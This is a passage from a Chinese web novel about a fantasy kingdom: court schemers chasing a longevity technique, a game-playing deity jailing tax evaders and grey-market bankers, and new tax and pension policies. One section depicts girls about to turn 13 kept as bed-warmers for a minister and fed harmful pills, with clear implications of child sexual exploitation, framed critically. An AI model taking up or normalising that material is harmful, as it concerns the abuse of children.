“这小县令不算太蠢,倒是听懂了我们的暗示,日后任由这小县令盘踞在明州,怎么都比陈京行要更好拿捏。” “再看看,若是稳定下来后,我等或许可以前去那明州境内新建的神殿和行宫看看,也算是亲自拜见山神一番。” 这话说得有些风险了,立即有人提出反对意见。 无非是不该随意去别人的地盘,虽说目前来说一切正常,但若是日后那小县令野心膨胀了后他们可就危险了。 “那行宫如今是给皇帝和我等建的,日后说不定摇身一变就成了人家自己的东西了。” 这担忧实在是很有依据,人心如同烈日,不可直接注视。 但对于五人来说,想那么多也无用,不如想想该怎么切实从山神手里拿到好处才是最好的。 这些年他们五人隐藏在幕后,过得滋润,风险和骂名几乎都是小皇帝的,但实打实的好处可是自己的。 思来想去,五人决定不管如何,先求一个山神的画像挂在家中供奉起来,至于之后再徐徐图之。 毕竟那张绯说过,风仙县的画册所写内容,恐不是编造的。 既然内容有几分可信度,五人自然不愿意轻易放弃这机会。 尤其是其中还提及到了一种特殊的功法,名为《青梧引》,说是此法可让人延年益寿二百岁! 他们如今已经算是站在权力的最高巅,所愁的便是寿元。 如今有这功法能让寿元增长到二百岁,这可是比原来整整翻了一倍多! 谁不想多活一段日子? 如今这通天大道就摆在眼前,实在是让人很是眼馋。 但那上面写了,必须要是修行之人才能入门,这便难倒了五人。 其中有人提议,不如重金聘请景旭宫内的道长前来教他们入道,等到学得差不多了,便可以尝试着学习这延年益寿的功法了。 五人的注意力很快从别的地方挪走,转而研究如何入道。 而至于此次张绯和杨舒所打探的消息,也被五人挑拣一二,将不重要的部分上报给小皇帝,粉饰太平。 这五人自然是鸡贼,各自分开找关系找的景旭宫道士,只说对道法感兴趣,给了重金让对方教授他们入道,别的均是一口不提。 而其中魏公公则是兴趣比别人要更多一些。 他注意到其内所写,修行后有极大可能会修补身体残缺。 当初家贫,他不得不做阉人,入宫服侍皇帝。 好在是拼到了如今的位置,但相应的,他的内心残缺而又暴虐,主要原因便是因为这阉人身份。 如今竟有重新修补残缺的手段,且执行得当的话,还能延年益寿,这对于魏公公来说,实在是个好得不能更好的消息。 为了讨好山神,尽快从山神手中获取《青梧引》,他开了金库,从中扫了一圈,决定过几日派人过去聊表诚意,总之那《青梧引》他势在必得。 若是日后他修复了残缺,之后魏家也能有了后人,这功法便能世世代代传下去,从而保证他们魏家身份地位永不滑落 同时,其余四人想法也是如此,个个狠狠心,决定大出血,好尽快拿到那本功法才是。 廖尚书府内,屋内点着无烟的银丝炭,温软如春。 而廖尚书正闭目养神,睡得安稳。 暖床丫鬟木棉和兰玉则是老老实实负责暖床,两人今年过了年就要13岁,如今忍着冬,心想着冬日赶快过去,毕竟服的药让她们像是火炉子一样,实在太难受了。《 》 310-320 第311章 税务 木棉和兰玉两人是一对双胞胎,素日负责的便是给廖尚书暖床。 屋内不冷,但或许是年轻小娘子的体温都偏低一些,再加上她们要考虑到主人要求的美观,都穿得比较薄,所以在没吃药前,身体自然是温度不够。 暖床丫鬟负责的便是将床暖热,妥善伺候大人。 两人自然乖乖吃下“暖丸”,而后战战兢兢干着活。 ——起初两人年纪还小,并不知道这“暖丸”为何物,只知道必须吃它让身体发热,好能保住这月薪一两的好活计。 等到服用的时间长了,身子明显相较于先前弱了一些,这时候,两人才慢慢知晓,这“暖丸”对人的身体伤害巨大,大部分年轻的暖床丫鬟,大都活到二十来岁就死了。 但要命的是,尽管只能活到二十来岁,但很多时候,不等她们到这个岁数,这暖床的活计很快就会换人。 毕竟暖床丫鬟不需要来了月事的,不然大人嫌脏。 不过因为暖床丫鬟服用“暖丸”,月事来得格外迟,大部分都得是十八九岁才来。 所以哪怕知道吃这暖丸伤身子,但人为了活着,这活也是需要抢着来干。 木棉和兰玉二人虽说对自己日后只能活到二十来岁也恐惧,但若是丢了这活计,她们可能连这个冬天都没法过去。 只能趁着能赚钱的时候多赚钱,素日里省吃俭用,为日后存些钱财才是。 等到日后主人家不需要自己了,运气好还能干别的丫鬟,运气不好,身子太弱的,便会被遣送出府。 而平日里攒下来的钱,便是用在日后被遣送出府后的。 平时两人均是小心翼翼,老老实实做活外,便是不敢生一次病,要知道若是病了的话,她们的活计会立即被人替代,且十有八九会被调度到其他职位上,若是运道不好了,过了病气给主人家,那迎来的结局便只有被赶出府,被冻死在街头。 吃“暖丸”固然痛苦,但这和被冻死的痛苦相比实在是不值一提,相反,木棉和兰玉二人还十分感恩——别的地方她们也赚不到钱,在哪里卖力气卖命都是卖,更何况廖尚书府内给得更多,平时还能跟着一起吃喝,实在是不多得的好差事。 二人想的便是要争气一些,万不能生病,要牢牢将这份差事捏在手心才是。 而廖尚书最近除了日常上朝外便是跟着景旭宫的道士修炼,俨然一副不问世事的模样,目前对他来说,赶快入道,而后学习功法,将寿命延长才是他最紧急的任务。 其余四人皆是如此,一时间朝野内倒是安稳了好几分。 保皇派的人安分了,自然对应的派系便开始好奇对方到底为何如此。 同样的,中立派的诸位也开始猜测纷纷。 可惜派出去的探子只查到对方和景旭宫走得近了点,但具体在干什么,那是一概不知。 小皇帝难得在朝堂上做了一次利民之事,那便是降低赋税,同时拨了一批资金,让趁着冬日枯水期修建大坝,毕竟黎州这边水源充沛,若是这水利修建好了,日后对于百姓还是有不少益处的。 因最近保皇派几人沉迷于修道,一时半会竟然是没能察觉小皇帝素日所想,等到再想阻碍拦截时便发现木已成舟,饶是拍断腿也无济于事。 只能任由小皇帝折腾。 魏公公冷笑:“小孩心态,以为能脱离我等,这政策是实施下去了,但能不能成功落地还得再议。” ——这钱确实是从国库出的,数额正好比计算过后的数额还要多一些。 他倒是挑眉——没想到小皇帝如今倒是知道这拨下去的款项要多预留一些,好让下面的人能贪一些,剩余的便是要求将事情给办好了。 可惜,还是太嫩。 如今下面的人胃口早就被养大,不仅仅会贪掉预留的那部分,水利工程里面的部分也会通过以次充好,压低拖欠工钱等等手段套出去。 他不反对修建水利工程,但他真正厌烦的是小皇帝不知天高地厚,自以为翅膀硬了便想飞,如今他倒是要将他的翅膀硬生生折断,等到他挨了现实的闷棍后就知道过来求他了。 而魏公公便是打算在小皇帝受挫后,稍微流露出几分愿意替他分忧解难的态度,到时候小皇帝便会知道,他在这宫里到底能依靠的谁。 也算是间接性的警告小皇帝一番。 其余四人对魏公公的安排没意见,他们不能接受小皇帝脱离控制,自然要将对方牢牢的把控在手心。 与此同时,因道法学习得艰涩,自然心情也一般,只想赶快将此事交付给魏公公,由他一手操控处理。 朝廷上的其余人倒是对小皇帝这一手很是惊诧。 本以为小皇帝烂泥扶不上墙,谁知他倒是不声不响炸了个响。 潭江等中立派私底下小聚谈论此事时,个个倒是多了几分对小皇帝的期待。 “若是派保皇派的人前去监督水利工程的话,那保皇派等人不至于这么生气。” “可惜选的是先皇派的人,那些人做起事来可是一板一眼,容不得保皇派的人糊弄。” “啧啧啧,你们没看到那魏公公的脸色?黑得和锅底一样,冷不伶仃被鸟儿啄了手,自觉面子过不去。” “本以为小皇帝不敢,现在看来这点反抗和先皇倒是接近。” “这事和我们没关系,咱们中立派负责看戏就行了,省得混进去惹得一身腥臊。” 几人谈笑说话,而潭江则是默默想到负责监督水利的那位官员——刑大人,此人古板严苛,如今对上保皇派的人,这可真是有乐子看了。 这可不是他一人的斗争,而是先皇派和保皇派双方的斗争。 这水利能不能修好,全看这两派谁更强一些。 但这和他有什么关系,他早就加入了中立派,不下场,作壁上观即可。 潭江捏了捏手心,让自己回忆起过往糟糕的记忆。 心口那点激荡慢慢平静,他转身加入同僚的交谈中。 和黎州上层紧张的气氛相比,中下层则是掀起一阵狂热。 具体便是因为最近传进来的各种新奇好用的东西开始逐渐进入中层视野,这部分群体手头有些钱,也愿意改善生活,于是钱如同流水一样花了出去。 昭华灯,马桶,热水器,热水壶,等等迅速进入各个中层之家。 这些人有小官员,也有商人。 如今送礼的话,暂且不用送别的,送这些新奇东西便是当下最热门的礼物。 而随着昭华灯的普及,这充气项目利润翻了数倍。 杜百如今不得不专门配置一批专业人员,用来有计划的批量给黎州客户们充气。 而很快,这业务便被谈天禄盯上了。 虽说他通过杜百赚到了不少钱,但人心都是不满足的,如今这充气市场被杜百一人捏在手心,其中利润有多高,只要不是傻子都能计算清楚。 但谈天禄知晓日后还需要继续和杜百合作,若是盯上了对方的充气生意,恐怕杜百不会老老实实继续和自己合作下去。 思索一二,他索性找了人去跟踪对方,打算摸索出来杜百一行人到底从哪进的货。 等到查探到了具体位置,他就可以放出假消息,而后从中获利便是,即便到时候杜百猜到了一二,但有现成的借口可以用,他照应得捏着鼻子应下来日后的合作。 只能说想法很好,但事实上,那些被派出去跟踪的人全都没能打探到消息,大部分说辞便是跟着跟着人就跟丢了,而谈天禄思索一二,则是想到了杜百这人和景旭宫应当还有些联系,不然不能解释先前手中握着许多符咒的事。 派了三批人都没能打探出消息,看来对方早就有所防备,道士的术法多的是,恐对方是用了什么秘法逃过跟踪。 谈天禄颇为叹气——景旭宫的势力他可惹不起,先前只是试探,如今三次都失败,不该再试探了,省得日后酿成大错。 于是只得无奈的将偌大的充气市场全盘让出,看杜百赚得盆满钵满。 而实际上,这笔钱确实是一个巨大的数额,但这笔资金几乎全部回流到了风仙县的官库内,作为基础建设全部反馈到了百姓身上。 ——将黎州大部人闲置的钱收回,作为自家刚需产业发展的资金,这收入来源属实让杜百不得不佩服方大人当初做的局。 对比买卖其余物资,这充气市场是最主要的收入来源。 最近几日,她也是察觉到了谈天禄的蠢蠢欲动,但她们商队早就用上了迷踪符,若没拿着解咒的符咒,跟踪可是跟不上的。 最重要的是,即便是暴露地址,这产业链都是自家的东西,如何能卖给外人? 这充气生意稳稳当当的做了下去,而同时,明州境内迎来了一波快速发展期。 地区被合理规划,而后以工代赈,让劳动力彻底转化成基础建设的改造,个个县域先后被改造,有统一的官方机构,有先后修建的各类农田,河流改造,有最为基础的各类学堂,药馆,以及和民生息息相关的厂子,譬如豆腐厂一类。 县与县之间的道路修建完毕,水泥路四通八达,让原先停滞的交通快了数倍。 如今马车行业大肆发展,无论是买卖亦或是租借,均形成了一则热门市场。 因道路修得好,各县之间物品流通速度加快数倍,大大增加了经济活力。 于此相伴的便是商贩重新营业,原先萎缩的各行各业再次重新发展,一片欣欣向荣。 而随着天气回暖,报纸上下发了新的政策。 ——税收政策。 第312章 科普 税收政策刚出来时,一早先买到报纸的人忙点进去看。 报纸所写内容大概概括为,税收按照每个月收取。 个人收税的话,月收入在五两以下的,不收取税金。 月收入在五两到十两的,收取3%,月收入超过十两,低于二十两的,收取6%,超过二十两的,征收12%。 计算方式均为阶梯计算,比如一个人月收入为二十五两,那有五两为不征税部分,而后的五两为3%,十两为6%,最后五两为12%。 除了个人税收外,对于商铺运营也有具体的税收安排。 同时设立了税收局,专门负责管理每月各个商铺的税收报税,以及日常的税金管理。 根据报纸所写,税金所得部分会回流到基础建设,譬如修路,修建水利,修建新的学堂,以及药堂等等民生建筑,以及各项民生关怀项目上,譬如过往冬日的棉衣低价购买,各项便捷利民的设施,就像沼气池一样,这东西如今能运营起来,离不开前期官府的大力投资,如今收费也是异常低廉,其实还是一直处于负盈利状态。 虽说日积月累总会正盈利,但若不加以控制,后期扩大沼气池的建设的话,总会在某日彻底崩盘。 在经过一年多的休养生息,百姓的收入提高,各方面恢复正常,所以这才引进了税收政策。 第一页写的便是这税收政策,不少人往后面一翻,发现后面还有新内容。 讲的是最近打算执行的新政策——养老政策和看病政策。 大概便是但凡是有固定工作地点的,在下个月一号,个人方面的话,得开始缴纳5%的收入作为投资进养老和医疗的资金,而雇佣方则是同样需要替员工缴纳相同份额的资金,作为补充。 其中对于疾病的分类和报销十分详尽,完全满足了以往生了大病没办法过活的窘迫情况。 而养老政策则是也做得很完善,大概规划了从什么时候开始拿取资金,总之计算下来的话,年轻时候缴纳的资金,在年老后便可以取出来,且利率算下来是要高于存在钱庄里的。 也不需要担心若是到了领取时,人死了,没来得及领取该怎么办,若真发生这种情况,会按照过往交了的计算一番,给对方退回去对应的数额。 基本上就属于稳赚不赔的买卖。 越是活得时间久,越是赚钱。 因开设了税收以及养老,医疗新的领域,同样的,开始大批量招人。 这次招人则是需要面向学堂招收,毕竟这些知识学堂的人学过,上手容易。 若是没上过学的,光是理解概念就会费不少劲。 一时间,群情涌动。 “看来这税收政策总算是出来了,还以为日后能不用交税呢。” “啧啧啧,别太贪心了,要知道咱们可得有一年半没交过税了,再说了,这税收得可比原先低了不少,还是分阶梯收的,这是大好事。” 这倒是实话,原先时,他们要缴纳两份税金,人头税和土地税,总归陆陆续续算下来的话,得缴到10%以上了。 而现在,这新的税收政策完全利好于普通百姓,本县最低收入为月三两,但得有一半人月收入都在五两以下,这些人是不需要交税的。 而其余高收入人群,则是需要缴纳税金。 月收入五两以下的自然觉得这是一件大好事,而高收入的倒也能接受——人别太贪心,毕竟征收的税比原先低了不少,这税金可谓是谢天谢地了。 本来这税金政策迟迟不下来,不少人拿着高工资,心里焦虑得很。 谁都知道朝廷想要发展必定离不开征税,但风仙县老不让他们交税,这也不是个事啊! 若是因为他们不交税导致本县无力继续运转,他们是万万不想的。 同时,众人也是担惊受怕,生怕税收收得太高——要知道他们如今的工资可比先前高多了,谁知道征税后会不会拉低如今的收入。 好在这征税政策总算是出来了,结合医疗,养老政策,不少敏锐的人均察觉到风仙县理念和过往传统朝廷是完全不一样了。 过去哪有这些东西,得了病,小病能治就治,大病就等着死。 因为吃不饱穿不暖,又无力看病,普遍人的寿命都很短,大部分人最多活到三十来岁就会死掉,这些人会在有限的生命里拼命干活,努力养育后代,而后再死掉,生命便是化作朝廷运转的燃料,毫无价值。 其实大部分都在潜意识深处认为人只能活三十来岁,所以对待未来总是有一种紧迫感。 而如今大部分人上了扫盲班,知晓了寿命和许多方面有关,而在一切适宜的情况下,人类寿命可轻松达到五六十岁。 这一科普当初确实让那些不识字的百姓们惊诧,这种看似简单到不能再简单的认知,对于他们而言完全是一种崭新的,甚至难以理解,多了几分恐怖的存在。 从他们小时候开始,周围的邻居,父母都是在二三十来岁的年纪死掉的,死因五花八门,但结局殊途同归,所以在这些人过往的认知里,他们也只能活到二三十来岁。 若倒霉遇到战乱时,年纪要比这个更小,二十来岁说不定就会死。 运气好的勉强能活到三十多岁,但也会因为繁重的活计,日积月累的吃不饱,穿不暖,弄坏了身体,从而变得虚弱。 至于为何当初扫盲班要纠正人的寿命这点,主要出于最重要的一点,便是治安问题。 一个人自认为生命苦短,便会增加犯罪冲动。 比如一个人在认知里认为自己只能活到三十来岁,那么在他十来岁被打压,没有出路,没有活路时,就会变得疯狂而又激进,毕竟在他们看来,生命本就无比短暂,一个自认为生命短暂的人是无法变得平和,耐心,也没办法潜心研究各项事务——对他们来说,短暂的人生不该浪费。 若是放任这种错误的思想继续下去,大部分人会养成懒惰,短视,激进的性格。 所以当初在一开始扫盲时,方知意便将此科普纳入重中之重。 当一个人认识到正常情况下生命的长度,便不会那么容易走上激进的道路,会真正意义上获得平静,会有充足的耐心在看完了世间繁华,选择自己真心想做的行业,而不至于在寿命的压制下只顾着贪图享乐,恐惧而又急迫的过完一生。 事实上,大炎朝权贵之家的寿命可轻松达到五六十岁,甚至保养得好的活到八十岁都没问题。 但很多百姓却不知晓这看似平常的事。 主要原因也是因为两者之间的生活毫无交集,大炎朝实行住宅分区管理,不是一个阶级的压根连碰都碰不到,更别提知晓这些事了。 在大炎朝,每个阶级有各自的住宅划分区,在吃穿用度上也是有各自的要求。 而至于他们出入的场所——客栈,茶馆,这些东西都是分阶级的,别说贫民百姓,就算是中层也难以跨入上层们的圈子。 久而久之,最上层的那波人和最下层的这波人,两者之间只会产生越来越难以跨越的鸿沟。 且双方对于对方都处于一个不可视的状态。 自然在认知方面上,感官便会失调。 上层的人不知晓下层人的生活,而下层的人也不曾知晓上层人的生活。 方知意当初便是深知此事,这才决定打破这所谓的墙。 过往的大炎朝的阶级分层,如今在明州是完全行不通。 而科普寿命得到的最直观的好处便是对婚姻法的推动。 若不是在科普人类寿命可达五六十岁,当初她婚姻法内写的合法婚嫁年龄不会这么轻松被百姓接纳。 且这科普还在持续的作用于百姓身上,比如对新政策的接纳度上升—— 如今人人都觉得在无病无灾,吃饱穿暖的情况下,人的寿命会到五六十,继而会对养老政策感兴趣,从而配合,这些环环相扣,少一环都不行。 当日的报纸很快便抢售一空,因此份报纸上涉及的东西太多,且大多关于民生,不少没买到报纸的反复去报亭,试图买一份回去仔细研究一二。 报亭将此消息回报上去,紧急再次印刷了一批,再次投放到各个报亭,这才保证人手一份。 普通百姓对于这几条政策无比满意,而另一面,对于那些大户而言,这消息可不算的上美妙了。 先前一年多时间里,风仙县甚至都不曾对商户收税,当初一是为了体谅灾年,二是为了留给他们足够时间休养生息,三是官府也从他们口袋里掏走了一批钱。 如今等了半天,结果等来了对他们而言完全不利好的新政策啊! 这商业税收可比大炎朝那会征的多了五个点! 但值得一提的是,他们赚的钱也多了,总体算下来的话,整体其实上是要比原先要入账多的。 不少商户聚会时便互相倒苦水。 “这税收可比原先高了五个点,如今虽说生意要比原先好了,但这一进一出,其实也没能赚太多。” “谁说不是,相当于官府用我等的钱去替那些普通百姓兜底,这对于我等是不是太不公平了?” “知足吧,好歹总收益是赚的,如今也就明州境内是这情况,别的地方不仅赚的少,还乱得很。” 这话倒是实话。 但总归人心都是贪婪的,眼看利润白白流失,如何能忍? 为了应付新下的政策,不少脑袋活络的人想到了对冲之法,那便是做假账,而后转移资产。 第313章 奇遇 当然,敢这么做的人大都是风仙县以外的明州其余地区的商户。 这些人不曾亲眼看到仙师的法力,对仙人的畏惧不够,所以才会铤而走险,试图做假账,逃避税收,转移资产。 有不少动作快的人则是先去钱庄兑换银两——自新的知州大人上任后,大额银两之间的流通很是费劲,对于他们商户而言,每个月只有一定数额的天地币兑换银两额度。 也有商户试图联系委托人,从百姓手中收取银两,因普通百姓对于仙人很是尊崇,于是这些委托人开设了私人钱庄,打着高利润的旗号,从民间招募银两,兑换出去天地币,毕竟当地百姓一般情况下仅仅在明州境内生活,对银两的需求很低,而天地币对于他们日常使用足够了。 但这些商户不同,他们需要通用货币,而后将天地币转换成货币带出去转移起来。 因需求,所以很快便产生了委托人这样的灰色产业。 这些人通过开设私人钱庄,汇聚了大量的银两,而后将这些银两再次以较高的价格兑换给这些商人们,这便算作一门投机取巧的法子。 因害怕被官府查到,所以这私人钱庄的背后人藏得很深。 这些人就在明州和黎州的边界线居住着,若是有什么风吹草动,便立即带着家产,直奔黎州便是。 明州的总面积是原先风仙县以及周围几个县域的十几倍大,地方一大,便滋生出不少阴暗。 这些人均是投机客,因考虑到明州的新知州刚开始上任,对于各个区域不是那么了解,再加上天高地远,就算是各个县域内都通了路,但若是从明州的最东边到最西边,驾马的话都得要好几天才能到达。 明州如今发展不到半年,但这些投机客只在起初因被所谓的仙人吓到了,安分了一个月,等到一个月过后,这些人便开始蠢蠢欲动。 在慢慢试探后并未得到惩罚后,这些人开始稍微放心,很快便通过各种手段,汇聚了一批来源灰色的资金。 因一直没有动静,所以投机客的行为越来越猖狂,原先他们只敢在暗地里活动,如今已经蔓延到了明面上。 当然,明面上归明面上,但这些灰产依旧很低调,生怕被发现后一锅端。 而与此同时,方知意桌面上的文件也积累了一批又一批。 位于最上方的自然便是这些灰产搞出的名堂,以及在新政开始实施后,这些商人想转移资产,躲避税务的行为。 事实上,从一开始,手下便将此事事无巨细的汇报上来。 因当时明州还处于混乱阶段,方知意暂且没顾得上搭理这事,还有一点便是过于分散的不好抓,等稍微凝聚成型后一把抓获更好。 方知意想的是再过几日便找机会动手,而此刻,姜定则是控制主控在地图界面上走来走去。 潜灵山上他已经待得不爱待了,在种植完毕农田作物,管理完各类库存后,他决定去大地图随便转转。 主控行走在大地图上时,是一个Q版的形象,倒也十分可爱。 姜定走来走去,很快便触发了一个隐藏事件! 【隐藏事件:你偶遇了一个奇怪的人,这人进入了钱庄,很快又带着银两离开,你好奇的走过去查看,发现这竟然是一处灰产钱庄。你领地内的财富有被转移的风险!】 【看到第一只蟑螂时,暗处里已经隐藏了更多蟑螂!你意识到这并不是第一处灰产钱庄,你会选择如何做?】 【A.委托手下的管理人员加大查处力度。】【B.亲自出手,摧毁灰产。】 隐藏事件竟然也是有选项的! 姜定惊愕,而后便很是气愤。 ——这些刁民们未免太可恶,他给他们吃,给他们喝,结果这些人竟然还要转移他领地内的财富出去,良心简直是大大的坏。 再结合一番现实里也有这些歹毒的□□,姜定顿时气不打一处来,立即选了B选项。 对现实他无法改变,对自己一手创立的游戏世界他难道还要束手束脚? 于是他很快操控主控,对着屏幕显示的各个小红点点了下去。 一时间,姜定有种错觉——自己不是在玩游戏,而是在抢红包。 等到晕乎乎点了足足两分钟后,他这才松了口气。 看着屏幕新提示。 【恭喜您已经将灰产全部消灭干净!】 爽了爽了。 虽然他点得太快,手都有些抽筋,但不得不说这种成就感让姜定颇为着迷。 与此同时,游戏新的提醒又来了。 【您是否要每年花费两万两监控费?可监控各类不合规行为,在行为超出法律允许范围后,会自动将违法者投入牢房内。】 姜定“咦”了一声,心想有这么逆天的功能不早说。 两万两可能会难倒一些手里缺钱,发育不好的玩家,但这可难不倒他啊。 他可是一路顺利,现在的钱可比原先多太多了。 这点钱对于如今的他来说,压根不是问题。 于是姜定很痛快的选择了【是】。 等到显示生效后,他在交付了一批建造牢房的材料后,这隐藏任务弹出结算页面。 【隐藏任务结束,你的威望提升,治安提升,民心提升。】 【请继续探索吧!】 姜定心想隐藏任务也还不错,给了不少属性提升,他刚想离开此地,往前走了两步,又遇到一个奇遇。 【遇到了一个少年,是否要和他搭话?】 老奇遇人自然不会放过任何一个奇遇。 姜定赶紧点了是,然后发现这人是个喜欢游历山水的探险家,因钱财不够,所以迟迟不能迈出第一步。 【你想资助他吗?(需要10000两)】 【A.不资助,一万两数额太大,此人应当是骗子。】 【B.资助,或许能从此人身上获得别的回报。】 啊?这人怎么一张口就要这么多钱啊,这真是一个人能花出去的钱么? 姜定疑惑,姜定不解,姜定试图合理化奇遇。 ——难不成是个高级奇遇?前期绝不会遇到此人,因为这人所需要的钱太多了,前期谁都给不起这个钱,现在是检测到他资产够了,所以才会触发这一奇遇? 或者说有可能这是一份假的奇遇。 也不是没有这样的设定,看着是一笔巨额有风险的投资,实际上,玩家把钱给了对方后,对方就会玩消失,给玩家上一课。 姜定微微迟疑,而后抱着广撒网的心态,选择了投资。 左右不过一万两,骗子就骗子吧,说不定就算是被骗,也能混个什么被骗的倒霉鬼CG呢! 没错,俺们CG人的脑回路是这样的! 等到选择完毕后,这份奇遇暂且就算是结束了。 很平静,很安静,甚至一点后续都没有。 姜定琢磨,这十有八九是没戏了。 按照这类奇遇的尿性,大部分会在几个月后莫名其妙给发一条【某某在得到你的资助后,花天酒地,四处炫耀他的经历,于是各地期待天上掉馅饼的人增加了】等等恶搞且毫无收益,让人无语凝噎的提醒。 极少概率会出现不错的回报。 得,就当开盲盒了! 姜定没把这事放在心上,很快便将注意力转移到其他地方。 而与此同时,明州境内的灰产钱庄一夜之间被销毁,其内财产消失,罪魁祸首还没反应过来,第二天睁开眼时,发现自己人已经到了大牢。 本以为是官府将他逮捕,但在经历了一轮审讯后,此人很快发现,将他带来之人并非官府。 毕竟若是对方的话,他们不会审讯他到底是用了什么手段进了大牢的 除了幕后之人本人意外落网,在外界,私人钱庄钱财消失引发了不少百姓聚众讨要说法。 毕竟他们也是因为想要更高的利息这才将钱存在了私人钱庄,但如今存着存着,钱没了,这谁能接受? 于是自发汇聚在一起,要找钱庄要个说法。 负责看守钱庄的赵库丁看上去状态像是见鬼了一样。 此人圆滑机灵,处事八面玲珑,而如今面对众人时,竟然是连一句敷衍推脱,亦或是安抚的话都说不出来,只会重复着一句莫名其妙的话。 “仙人一直在看着一直在注视着我等犯错” “求仙人饶命小人是被逼的” 不少人互相对视几眼,大多是不理解的,还以为他在装疯卖傻,有几个人过去押送着他,要将他押送到官府,他折腾了几下,嘴里翻来覆去的说着这些话,而后便晕死过去。 这事很快就被官府接手,但对于这些将钱存在私人钱庄的人,官府并未给他们兜底,毕竟当初就多次警告过百姓,除了官方钱庄外,存在其他私人钱庄的话,就要承受对应的风险。 而这些人均是为了自己的贪心买了单。 好在是他们也不敢投得太多,损失虽说不小,但也不至于是一蹶不振,但那也是家里半年的收入了,这打击也是不小。 这件事很快便被作为典型案例印刷在报纸上,几乎不到一天时间,明州各个县内的百姓们都知晓了此事。 报纸上最明显的区域写着的大字标题便是——私人钱庄爆雷,血汗钱一夜之间挥发! 最后一句苦口婆心劝说。 ——你看中的是利润,他看中的是你的本金!存储需谨慎,认准官方钱庄! 等到百姓们看完今日报纸后,个个心悸不已——这私人钱庄虽说利润高一些,但这也太坑了吧! 就像报纸所说,人家看中的可是他们的本金啊! 除了百姓受到真金白银的教训外,惊吓最多的便是那些商户了,毕竟那赵库丁说的话实在是让人毛骨悚然! 第314章 驱动 面对此事,商户们都知晓那赵库丁嘴里说的话到底何意。 先前他们动了贪念,想要偷税且转移资产。 如今这灰产背后隐藏那么深的负责人都被抓到了大牢,这岂不是说这偷税一事很有风险? 再加上赵库丁疯疯癫癫的模样,一时间吓退了不少蠢蠢欲动的人。 而已经着手于转移资产好几个月的其余商户也是吓得当晚就要收拾东西,看看先离开明州,前往黎州边界避避风头。 这些人早有预谋,在事发当日,他们很快就整理好多日前收拾好的东西,然后大概整理了一番资产,而后决定跑路。 金银财宝全都装进马车里,家人都塞进马车里,马夫也准备好了,就等着家主一声令下,前往黎州边界。 但很是可惜,当晚,家主不知所踪。 其余人还以为是家主的安排,所以只能呆在马车里,乖乖等着他回来了后离开明州。 而马夫更是如此,毕竟他们是受特殊训练的马夫,只会听命于家主的命令,若是得不到家主起程的命令,他们是绝对不会擅自带人和货物离开的。 只是他们也有些疑惑——先前还那么着急,怎么现在又消停了? 因院子很安稳,压根毫无打斗痕迹,几乎所有人都认为有意外变化,所以才没让他们离开。 但事实上,这些人全部被抓进了牢房内。 而且这一切来得无比诡异,先前他们算计好了一切,眼看东西都装好了,他们不过是去密室内拿走了地契等物,结果一眨眼的功夫,眼前一花,彻底来到了一个完全陌生的地方。 这地方看上去潮湿又寒冷,地面有些干草,还有木栅栏——这是牢房? 第一个来的人惊诧无比,冲过去,隔着栅栏往外看,不出意外的看到了对面同样配置的牢房 怎么可能,他上一秒还在家里啊! 揉了揉眼睛,确定自己没有花眼,感触着木栅栏表面上细微的木刺扎入手心,一股密密麻麻的刺骨痒意便窜了出来。 而后便是后背开始发黏——竟然是真来了牢房?这这到底是如何做到的?莫非那所谓的仙人是真的存在?而律法所说句句为实? 先前律法便说不要有侥幸心理,因为谁也不知道在到达哪个底线后会被仙人抓去当典型。 当初他以为那玩意是唬人的,结果如今亲身体验到了,只觉得大脑空白,全身发软。 这人还在发晕之际,几乎瞬间,眼前又很快多了几个人。 这些人打扮得体面,看上去也是小有资产那一挂的。 起初这些人和他一样迷茫,等到环顾四周,又互相询问了几句后,个个也是脸色惨白。 他转移了视线,脑内想的却是那赵库丁所说之语。 ——仙人真的在注视着他们,一直在等待着他们犯错犯到足够多,这才一鼓作气将他们抓过来 很快,牢房内的人数还在增长,隔壁的,对面的牢房也逐渐满员。 众人在得知真相后,第一时间都是不敢相信,但除了仙人,还有谁能将他们从家里直接弄到这大牢内? 这根本不是人能做到的事! 想到先前曾经听到的仙师过往如何处理恶霸,处理贪官的手段,这些人几乎都要吓破了胆。 这会倒是想求饶,但是牢房外根本就没人,他们没能找到求饶的机会。 只能崩溃而又绝望的瑟缩哭嚎。 有些心理承受能力差的已经失禁,虽说如今天气逐渐回暖,但整体来说还是偏冷,腥臊湿黏的气味不断地窜出来,而后又被更为浓厚的恐惧所掩盖。 羽山是属于明州旗下的一座小山,山脚下有个小村落,就叫做羽落村。 羽落村附近有一条河流,据说这河流直通贯穿大炎朝的常河,按照老一辈所说,若是沿着这河流一路前进的话,甚至可以从常河进入海岸,进入海域。 明州整体来说属于内陆,其内只有河流,而黎州的不少地方则是沿海。 羽落村内的人家很少,只有十来户人家,大部分不曾读书认字,如今明州才刚被仙人纳入庇护范围,官府还在着重处理户籍制度,对于周边不曾被画在舆图上的小村落也在逐渐进行排查摸底。 但这一点进行的并不顺利,主要原因便是原先朝廷实在是过分,繁重的税务已经压垮了百姓,不少人跑到深山老林里独自过活,就是为了躲避朝廷的户籍制度。 这些人消息不灵通,如今甚至不知道明州早就换了主人,只是还以为受陈京行管控,个个宁愿猫在深山里也不愿意被官府逮出去。 要知道在这里还尚有几分活路,虽说收成一般,但好歹不用交税,有时候还能打点野味,捞点鱼,捡点蘑菇野菜过活,若是被逮回去的话,天天干活,还吃不饱饭,估计很快就会被累死或者饿死。 这便是羽落村大伙朴素的想法。 其内虽说只有十来户人家,但人员来源复杂,干什么的都有。 其中,庄家最具话语权,倒不是因为别的,而是因为他家是做木匠的,手艺活很好,十来户人家以往的农具,或者是防身器具,弓箭什么的,都能来找庄老修缮打造,一来二去,庄家便成了这十来户人家最受信赖的人家。 庄家有两个孩子,都是男孩,老大叫庄言,小的那个叫庄鱼。 两个孩子都遗传了庄父对于木匠的天赋,庄言温和老实,庄鱼要更异想天开一些。 他们在这小村里呆了有五年,俨然一副忘记了来路的模样,直到某天,庄鱼突然去找庄父。 说他打算开走先前藏在河流附近的那艘船。 当初他们来的时候,曾经用到过那艘船,不大,但足够好用。 在来到此地后,庄家人将其内最核心的驱动部分藏起来,而后又将船藏了起来,五年过后,船自然老化腐朽了一些,但先前庄鱼就偷偷过去修缮了船只,让它保持了在一个能用的状态。 这五年来,庄鱼从未说过此事,而庄父也一直以为家人早就忘记过往,打算隐居后安稳度日,如今倒是没想到,小儿子竟然想再次出去,离开这个生活了五年的安稳之地。 